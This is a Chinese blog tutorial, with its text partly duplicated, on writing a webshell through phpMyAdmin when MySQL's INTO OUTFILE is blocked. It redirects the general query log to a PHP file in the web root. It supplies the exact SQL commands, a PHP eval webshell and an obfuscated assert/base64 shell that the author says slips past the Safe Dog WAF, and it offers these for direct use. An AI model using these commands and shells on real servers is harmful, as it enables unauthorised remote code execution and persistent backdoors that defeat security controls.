Into outfile禁用情况下另类方法拿webshell
2017-03-24 00:29
531 查看
首先环境如下:
OS:Windows 2003
WAF:Safe Dog 4.0正式版
phpmyadmin:4.7(许多都可以)
Mysql:5.5+
PHP:5.3
Apache:2.x
总结方法如下:
outfile被禁止的情况下:
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/var/www/html/1.php';
select '<?php eval($_POST[cmd]);?>'
目前
那么我们尝试通过一个脑洞大开的方法去getshell。
登录phpmyadmin后,查看全局变量:
找到
这里是存储了每一个sql语句执行的日志(包含SQL语句本身)
但是
此时我们把
在每一次更改
此时该文件已经创建,并且文件内容保存了最后一条SQL语句的日志信息。
接下来,我们直接随意查询SQL,每一句都会被写入这个shell.php
由于有WAF,我们采用远程包含的形式来运行webshell。
在我们的远程地址里,放置函数名,使服务器端访问它,然后加载到内存,直接去调用此函数,再去接收我们提交的php代码。
关于菜刀免杀,请看上一篇文章。
下面再附上一个SQL查询免杀shell的语句,方便大家遇到此类情况直接利用:
可见这边并没有拦截:
文章就到这里啦,这几天比较忙,都没有怎么更新,感谢大家一直以来的支持!
OS:Windows 2003
WAF:Safe Dog 4.0正式版
phpmyadmin:4.7(许多都可以)
Mysql:5.5+
PHP:5.3
Apache:2.x
总结方法如下:
outfile被禁止的情况下:
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/var/www/html/1.php';
select '<?php eval($_POST[cmd]);?>'
目前
into outfile已经被禁用,并且WAF也会在写入文件的时候拦截。
那么我们尝试通过一个脑洞大开的方法去getshell。
(必须是mysql root权限)
登录phpmyadmin后,查看全局变量:
找到
general log file
这里是存储了每一个sql语句执行的日志(包含SQL语句本身)
但是
general log变量必须是ON状态,代表启用。
此时我们把
general log开启为
ON,然后再去更改
general log file的地址为我们的
webshell绝对路径。
在每一次更改
general log file的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建。
此时该文件已经创建,并且文件内容保存了最后一条SQL语句的日志信息。
MySQLa, Version: 5.5.53 (MySQL Community Server (GPL)). started with: TCP Port: 3306, Named Pipe: MySQL Time Id Command Argument 121 Query SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file" 121 Quit
接下来,我们直接随意查询SQL,每一句都会被写入这个shell.php
由于有WAF,我们采用远程包含的形式来运行webshell。
在我们的远程地址里,放置函数名,使服务器端访问它,然后加载到内存,直接去调用此函数,再去接收我们提交的php代码。
关于菜刀免杀,请看上一篇文章。
下面再附上一个SQL查询免杀shell的语句,方便大家遇到此类情况直接利用:
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"
可见这边并没有拦截:
文章就到这里啦,这几天比较忙,都没有怎么更新,感谢大家一直以来的支持!
相关文章推荐
- C# winform ListView 的右键菜单的下级菜单的选项视情况禁用方法
- C# winform ListView 的右键菜单的下级菜单的选项视情况禁用方法
- sqlserver2005默认情况下是禁用了tcp/ip连接。启动tcp/ip连接的方法,
- joomla CMS后台另类拿WebShell方法
- 三种禁用FSO方法
- ASP.NET Forum 中禁用含有子版块的版块后产生的"未将对象引用设置到对象的实例"异常的处理方法
- 三种禁用FSO的方法
- ASP.NET页面间传递对象的另类方法
- 关于Linux常见紧急情况的处理方法
- 三种禁用FileSystemObject组件的方法
- 学习C#的最好方法---斯玛特会员教程[另类思维](入门级)
- 三种禁用FSO的方法
- 解决网页屏蔽的另类方法
- 卡通渲染的另类勾边方法 (续)
- 96年lbc96327号提案---对于量化参数值越界的情况的处理方法
- 卡通渲染的另类勾边方法
- [译]The other ways to detect OllyDbg 检测OllyDbg的另类方法
- 三种禁用FileSystemObject组件的方法
- 三种禁用FSO方法
- 检测OllyDbg的另类方法